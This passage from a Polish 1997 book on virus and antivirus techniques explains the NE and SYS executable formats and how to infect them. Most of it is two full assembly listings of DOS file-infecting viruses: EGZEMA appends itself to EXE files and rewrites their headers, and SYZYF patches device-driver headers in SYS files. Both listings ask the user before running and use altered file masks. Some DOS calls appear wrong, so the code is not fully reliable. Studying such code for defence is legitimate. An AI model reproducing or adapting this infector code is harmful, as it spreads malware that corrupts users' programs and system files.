jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,26 ; ilosc czytanych bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku
cmp ax,'mz' ; i sprawdz, czy to EXE
je JestEXE ; gdy 'MZ', to plik EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik EXE
JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana takze
; niektore pliki EXE z ustawionym
; adresem tablicy relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj nastepny
mov ax,word ptr [si][Naglowek+14h] ; zachowaj stare CS i IP
mov [si][StaryIP],ax ; z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; zachowaj stare SS i SP
mov [si][StarySP],ax ; z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /
mov ax,word ptr [si][Naglowek+08h] ; wez dlugosc naglowka w
mov cx,16 ; - paragrafach i oblicz
mul cx ; / jego dlugosc w bajtach
mov bp,ax ; zachowaj dlugosc na pozniej
mov di,dx ; /
mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
dec ax ; NIE zmniejsz ilsoc stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej
mov cx,512 ; wez dlugosc obrazu programu w stronach
mul cx ; i oblicz jego dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie
adc dx,0 ; dodaj ewentualne przeniesienie
cmp ax,word ptr [si][NoweDTA.DTASize]
; czy rozmiar obrazu z naglowka
jne ZamknijPlik ; jest rowny dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE - prawdopodobnie nakladka
sub ax,bp ; odejmij od dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu
mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za wirusem
and dl,11111110b ; SP - najczesciej jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS
mov ax,word ptr [si][Naglowek+02h] ;
add ax,VirusDlug ;
cwd ;
mov cx,512 ;
div cx ;
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu
mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisywanych bajtow
mov dx,si ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,26 ; ilosc zapisywanych bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
BezInfekcji:
push es ; es=ds=PSP
pop ds ; /
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
pop ax ; zdejmij ze stosu wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; i umiesc te wartosci w
mov sp,ax ; / SS i SP
db 0EAh ; powroc do nosiciela
SkokIP dw ? ; czesc skoku JMP FAR
SkokCS dw ? ; /
MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; przejdz
int 10h ; do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)
Duýa czæúã istniejàcych obecnie plików EXE to tzw. nowe EXE. Majà one innà budowæ niý pliki przeznaczone dla systemu DOS. Na ich poczàtku znajduje siæ krótki programik dziaùajàcy w systemie DOS, tzw. STUB, majàcy za zadanie bàdê wyúwietlenie komunikatu, iý plik zawiera program nie dziaùajàcy w systemie DOS, bàdê teý próbæ uruchomienia zawartego w pliku wùaúciwego programu dla trybu chronionego pod kontrolà odpowiedniego dla niego úrodowiska, najczæúciej uýywajàcego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiàc, fakt istnienia programu STUB stwarza moýliwoúã napisania programu dziaùajàcego równoczeúnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byùby wykonywany byùoby zaleýne od systemu, pod którym byúmy aktualnie pracowali. Program dla DOS-a peùniùby tu rolæ programu STUB.
Po programie STUB znajduje siæ wùaúciwy program przeznaczony dla trybu chronionego, posiadajàcy, podobnie jak programy dla DOS, odpowiednio sformatowany nagùówek. Róýne systemy majà róýnà strukturæ tego nagùówka, tak wiæc infekcja takich programów jest o wiele trudniejsza niý w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujàcych takie pliki wynikajà takýe ze znacznych róýnic, jakie wystæpujà pomiædzy trybem chronionym, dla którego sà one przeznaczone, a trybem rzeczywistym, uýywanym przez DOS. Potencjalny twórca takiego wirusa musi uwzglædniaã przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podziaù i ochronæ zasobów, fakt stronicowania pamiæci, poùàczonego z wymiataniem nie uýywanych obszarów pamiæci na dysk (ang. swapping} oraz podziaù programu na oddzielne bloki danych, kodu i stosu posiadajàcych odpowiednie prawa dostæpu, zawarte w deskryptorach. Moýna powiedzieã, iý bez dobrej znajomoúci trybu chronionego napisanie wirusa dla nowych EXE jest niemoýliwe. Dowód na to stanowi stosunkowo maùa liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (innà waýnà przyczynà tego stanu rzeczy jest utrudniony dostæp do dokùadnych informacji o tych systemach).
Infekujàc pliki nowe EXE (za pomocà opisanej w poprzednim rozdziale metody) musimy na poczàtku sprawdziã, czy rzeczywiúcie jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencjà 'MZ' lub 'ZM' (na tym etapie nie jest waýne, dla jakiego systemu przeznaczony jest plik). Nastæpnie, jeýeli porównanie wypadùo pomyúlnie, naleýy sprawdziã, czy na pozycji 18h-19h w nagùówku starego EXE znajduje siæ wartoúã 40h lub wiæksza. Jeúli tak, to naleýy spróbowaã odczytaã ewentualny nagùówek nowego EXE, w którym znajduje siæ odpowiedni znacznik (dwa znaki ASCII) informujàcy o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniýszej tabeli.
Znaczniki rozszerzonego nagùówka nowych plików EXE
Znacznik |
Docelowy system |
NE |
Windows lub OS/2 1.x, z podziaùem na segmenty |
LE |
Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable) |
LX |
Wariant LE, uýywany przez OS/2 2.x |
W3 |
Plik WIN386.EXE dla Windows; kolekcja plików LE |
PE |
Windows NT lub Win32s (Portable Executable) |
DL |
HP 100LX/200LX (Pliki *.EXM) |
MP |
Stare pliki PharLap (pliki *.EXP) |
P2 |
PharLap 286 (pliki *.EXP) |
P3 |
PharLap 386 (pliki *.EXP) |
4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegaã moýe na odpowiedniej modyfikacji pól nagùówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którà trzeba rozszerzyã o segment identyfikujàcy miejsce w pliku, w którym znajduje siæ kod wirusa. Ze wzglædu na to, iý rozszerzenie tablicy segmentów wiàýe siæ z koniecznoúcià przesuniæcia caùego nastæpujàcego po niej kodu programu (najczæúciej bardzo dùugiego), jako jedno z rozwiàzañ proponuje siæ zmniejszenie rozmiaru programu STUB i przesuniæcie tylko poczàtkowej czæúci pliku (w tym wypadku cofniæcie czæúci nagùówka) w tak wygospodarowane miejsce.
Format nagùówka pliku nowy EXE (NE) dla Windows pokazano poniýej.
Format nagùówka plików nowy EXE (NE) dla Windows
Adres |
Zawartoúã |
znacznik pliku, bajty 'NE' |
|
numer wersji programu linkujàcego (najpierw bardziej znaczàca, potem mniej znaczàca czæúã) |
|
offset wzglædem poczàtku nagùówka do tablicy wejúã; format tablicy wejúã jest nastæpujàcy 00 liczba wejúã (00, jeýeli koniec listy) 01 numer segmentu (00, jeýeli koniec listy) 02 pierwszy rekord 05 drugi rekord Kaýdy rekord ma format flagi: bit 0: EXPORTED bit 1: SINGLE DATA bity 2-7: nie uýywane 01-02 ofset w segmencie |
|
dùugoúã (w bajtach) tablicy wejúã |
|
08-0B |
kod korekcyjny (CRC) pliku |
0C |
flagi programu; znaczenie poszczególnych bitów 0-1 DGROUP 0 = nie ma 1 = SINGLE SHARED 2 = MULTIPLE (UNSHARED) 3 = (NULL) 2 bit globalnej inicjalizacji 3 program tylko dla trybu chronionego 4 program zawiera instrukcje 8086 5 program zawiera instrukcje 80286 6 program zawiera instrukcje 80386 7 program zawiera instrukcje 80x87 |
0D |
flagi aplikacji; znaczenie poszczególnych bitów: 0-2 typ aplikacji 001 peùnoekranowa (bez Windows AP! dla trybu chronionego) 010 kompatybilna z Windows API dla trybu chronionego 011 uýywa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2 5 0=wykonywalna, 1=bùædy w obrazie pliku 6 niezgodny typ programu (stos nie jest zachowywany) 7 plik DLL lub sterownik (SS:SP: zùe wartoúci, CS:IP wskazuje na proceduræ incjalizacji typu FAR, wywoùywanà z AX=uchwyt do moduùu, zwracajàca AX=0 bùàd lub AX<>0 poprawna inicjalizacja) |
0E-0F |
indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej |
inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS |
|
wejúcie do programu (CS:IP), CS oznacza indeks w tablicy segmentów |
|
18-1B |
daleki wskaênik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeýeli SS jest typu autodata i SP=OOOOh, wskaênik stosu ustawiany jest na koñcu segmentu danych typu AUTODATA, pod stertà lokalnà |
1C-1D |
iloúã segmentów 1 E-1 F iloúã odwoùañ do moduùów |
dùugoúã (w bajtach) nierezydentnej tablicy nazw |
|
offset wzglædem poczàtku nagùówka do tablicy segmentów, skùadajàcej siæ z rekordów o formacie (pierwszy rekord ma numer 1): 00-01 ofset w pliku (trzeba przesunàã o wartoúã z pola 32-3 nagùówka, aby uzyskaã adres w bajtach) 02-03 dùugoúã obrazu pliku (0000h=64K) 04-05 atrybuty segmentu 0 segment danych 1 nie uýywane 2 REALMODE 3 ITERATED 4 MOVABLE 5 SHARABLE 6 PRELOADED 7 EXECUTE-CODE (kod) lub READ-ONLY (dane) 8 relokacje (bezpoúrednio po kodzie w segmencie) 9 istniejà informacje dla debuggera 10,11 bity DPL dla 80286 12 DISCARDABLE 13-15 DISCARD PRIORITY 06-07 iloúã bajtów do zaatakowania dla segmentu (0000h = 64K) |
|
offset wzglædem poczàtku nagùówka do tablicy zasobów |
|
offset wzglædem poczàtku nagùówka do tablicy nazw rezydentnych |
|
offset wzglædem poczàtku nagùówka do tablicy odwoùañ do moduùów |
|
2A-2B |
offset wzglædem poczàtku nagùówka do tablicy nazw importowanych (tablica ùañcuchów typu string, zakoñczona ùañcuchem o dùugoúci 0) |
2C-2F |
offset wzglædem poczàtku nagùówka do tablicy nazw nierezydentnych |
iloúã ruchomych punktów wejúciowych zawartych w tablicy wejúã |
|
wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów) |
|
iloúã wejúã do tablic zasobów |
|
docelowy system operacyjny 00h nieznany 01h OS/2 02h Windows 03h Europejska wersja MS-DOS 4.x 04h Windows 386 05h BOSS (Borland Operating System Services) 81h PharLap 286IDOS-Extender, OS/2 82h PharLap 286IDOS-Extender, Windows |
|
dodatkowe flagi programu 0 uýywa dùugich nazw plików 1 tryb chroniony 2.X 2 proporcjonalna czcionka 2.X 3 0=gangload: nie ma, 1=gangload: jest |
|
offset do strefy gangload |
|
3A-3B |
offset do segmentu odwoùañi do strefy gangload |
3C-3D |
minimalny rozmiar kodu wymienialnego |
3E-3F |
spodziewana wersja systemu Windows (mniej znaczàca czæúã jako pierwsza, bardziej znaczàca czæúã jako druga) |
Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres |
Zawartoúã |
iloúã rekordów w tablicy relokacji |
|
kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format: 00 typ rekordu 00 LOBYTE 02 BASE 03 PTR 05 OFFS 0B PTR48 0D OFFS32 01 flagi rekordu bit 2: addytywny 02-03 offset w segmencie 04-05 docelowy adres segmentu 06-07 docelowy adres offsetu |
|
Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres |
Zawartoúã |
Wartoúã przesuniæcia do dopasowania |
|
Kolejne rekordy zasobów o formacie: 00-01 identyfikator 0000 koniec rekordów >= 8000h typ INTEGER w przeciwnym wypadku offset wzglædem poczàtku zasobów do ùañcucha 02-03 iloúã zasobów danego typu 04-07 zarezerwowane 08 poczàtek zasobów |
Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
ofset (w dopasowanych jednostkach) do zawartoúci zasobów |
|
rozmiar zasobów w bajtach |
|
flagi zasobów bit 4: MOVEABLE bit5:SHAREABLE bit 6: PRELOADED |
|
typ zasobów; =8000 zasoby typu Integer |
|
08-0B |
zarezerwowane |
Format tablicy odwoùañ do moduùów w pliku nowy EXE (NE) dla Windowa
Adres |
Zawartoúã |
iloúã rekordów w paczce (0=koniec tablicy) |
|
znacznik segmentu: 00 nie uýywany FF MOVEABLE lub FIXED |
|
kolejne rekordy, kaýdy o formacie: 00 flagi bit 0: wejúcie jest eksportowane bit 1: wejúcie uýywa globalnych (wspóùuýywalnych) danych bity 7-3: iloúã stów parametrów dla segmentu FIXED 01-02 ofset dla segmentu MOVEABLE 01-02 INT 3F (kod instrukcji: CDh 3Fh) 03 numer segmentu 05-06 ofset |
Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
Adres |
Zawartoúã |
dùugoúã ùañcucha (00=koniec tablicy) |
|
01-N |
ùañcuch ASCII |
N+1-N+2 |
numer porzàdkowy w tablicy |
Wyglàd zainfekowanego opisanà wczeúniej metodà pliku EXE przed i po infekcji przedstawiony zostaù w poniýszych tabelach.
Wyglàd niezainfekowanego pliku NE dla Windows
Zawartoúã pliku |
program STUB dla DOS Nagùówek programu STUB Kod programu STUB wùaúciwy program dla Windows: Nagùówek NE Tablica segmentów Tablice z danymi o zasobach Kod programu dla Windows |
Wyglàd zainfekowanego pliku NE dla Windows
Zawartoúã pliku |
program STUB dla DOS Nagùówek programu STUB Zmniejszony kod programu STUB wùaúciwy program dla Windows zaraýony wirusem: Nagùówek NE, cofniæty wzglædem oryginalnej pozycji Tablica segmentów, cofniæta wzglædem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujàcy na kod wirusa (na koñcu pliku) Tablice z danymi o zasobach Kod programu dla Windows Kod wirusa |
4.1.3. Pliki zawierajàce sterowniki urzàdzeñ SYS (BIN, DRV)
Pliki SYS zawierajà tzw. sterowniki urzàdzeñ blokowych lub znakowych, które mogà rozszerzaã moýliwoúci systemu DOS. Sterowniki te sà ùadowane tylko raz, w momencie startu systemu, na podstawie poleceñ zawartych w pliku CONFIG.SYS (w Windows 95 takýe na podstawie MSDOS.SYS). Do ùadowania sterowników DOS wykorzystuje funkcjæ (4B00/21), a wiæc tæ samà, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstæpny programu (PSP).
Na poczàtku plików typu SYS znajduje siæ sformatowany nagùówek, zawierajàcy dane dla systemu DOS, który poprzez zawarte w nim informacje moýe komunikowaã siæ ze sterownikiem. Format pliku SYS i jego nagùówka przedstawiono w poniýszych tabelach.
Zawartoúã pliku SYS
Zawartoúã |
Nagùówek pliku SYS (patrz nastæpna tabela) Kod sterownika |
Format nagùówka pliku SYS
Wskaênik do nastæpnego programu obsùugi urzàdzenia, standardowo == 0FFFFFFFFh, co jest sygnaùem dla systemu, iý plik zawiera tylko 1 sterownik. Gdyby plik zawieraù wiæcej sterowników, w polu tym byùby zawarty adres kolejnego sterownika w pliku. |
|
Atrybuty urzàdzenia, informujà o przeznaczeniu sterownika |
|
Adres procedury strategii (wzglædem poczàtku nagùówka). Procedura strategii sùuýy do odebrania pakietu zlecenia od systemu DOS. |
|
Adres procedury przerwania (wzglædem poczàtku nagùówka), która na podstawie pakietu zlecenia, przyjætego przez proceduræ strategii, wykonuje odpowiednie czynnoúci, |
|
0A-0F |
Nazwa urzàdzenia znakowego (8 znaków) lub liczba jednostek dla urzàdzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych). |
Aby zainfekowaã plik SYS, wystarczy zmieniã adres którejú z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywaù on na kod wirusa, który zostaje dopisywany na koñcu pliku. Po wczytaniu przez DOS zaraýonego w ten sposób pliku zawsze zostaje wywoùana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalowaã siæ w systemie, a nastæpnie oddaã sterowanie oryginalnemu programowi obsùugi.
Alternatywnym (i chyba prostszym) sposobem zaraýenia plików SYS jest wykorzystanie faktu, iý plik taki moýe zawieraã wiæcej niý jeden sterownik. Aby zainfekowaã plik SYS, wystarczy wiæc na poczàtku pliku zmieniã pole 00-03 tak, aby wskazywaùo ono na koniec pliku, gdzie naleýy dodaã kod wirusa, którego wyglàd bædzie podobny do zwykùego sterownika (bædzie posiadaù nagùówek oraz procedury strategii i przerwañ). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umoýliwi dziaùanie wirusowi. Jak widaã, sposób infekcji tych plików jest bardzo prosty, stàd dziwi trochæ fakt, iý stosunkowo maùa liczba wirusów potrafi je zaraýaã.
Wyglàd pliku SYS po zaraýeniu pokazano w poniýszych tabelach.
Zainfekowany plik SYS (ze zmianà adresów procedur w nagùówku)
Zawartoúã pliku |
Nagùówek sterownika ze zmienionymi adresami procedur strategii lub przerwania Kod sterownika Kod wirusa |
Zainfekowany plik SYS (drugi faùszywy sterownik)
Zawartoúã pliku |
Nagùówek sterownika ze zmianà adresu wskazujàcego na poùoýenie drugiego sterownika w pliku Kod sterownika Nagùówek faùszywego sterownika (wirusa) Kod wirusa |
Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS.
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny plikow SYS ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
znajdujace sie w biezacym katalogu ;
;
; Kompilacja : ;
TASM SYZYF.ASM ;
TLINK SYZYF.OBJ ;
MAKESYS SYZYF.EXE ;
;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje PSP
NUL = 00h ;
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
NAGL struc
NAGLAdres dd ? ; Adres nastepnego sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi strategii
NAGLPrzerwanie dw ? ; adres obslugi przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends
Start:
SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek
VirusStart: ; tu zaczyna sie kod wirusa
ProceduraPrzerwania:
push ax ;
push bx ;
push cx ; zachowaj
push dx ; zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /
Call Trik
Trik:
pop si
sub si,offset Trik
push cs ; DS=CS
pop ds ; /
mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; gdy CF=1, nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
mov ah,2Fh ; funkcja DOS - pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; zachowaj akualny adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,size NAGL ; ilosc czytanych bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]
cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego plik
cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny plik
; TAK - na poczatku pliku jest
; 0FFFFFFFFh
mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov [si][CzytNAGL.NaglPrzerwanie],ax
mov cx,VirusDlug ; ilosc zapisywanych bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; CX:DX zawieraja
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,size NAGL ; ilosc zapisywanych bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
pop es ;
pop ds ;
pop di ; przywroc
pop si ; zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /
db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?
MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)
; Czesc Informayjna ; wyswietla pytanie do uzytkownika
Informacja: ; czy chce uruchomic wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania
mov ah,0Eh ; pisz znak z AL
int 10h ;
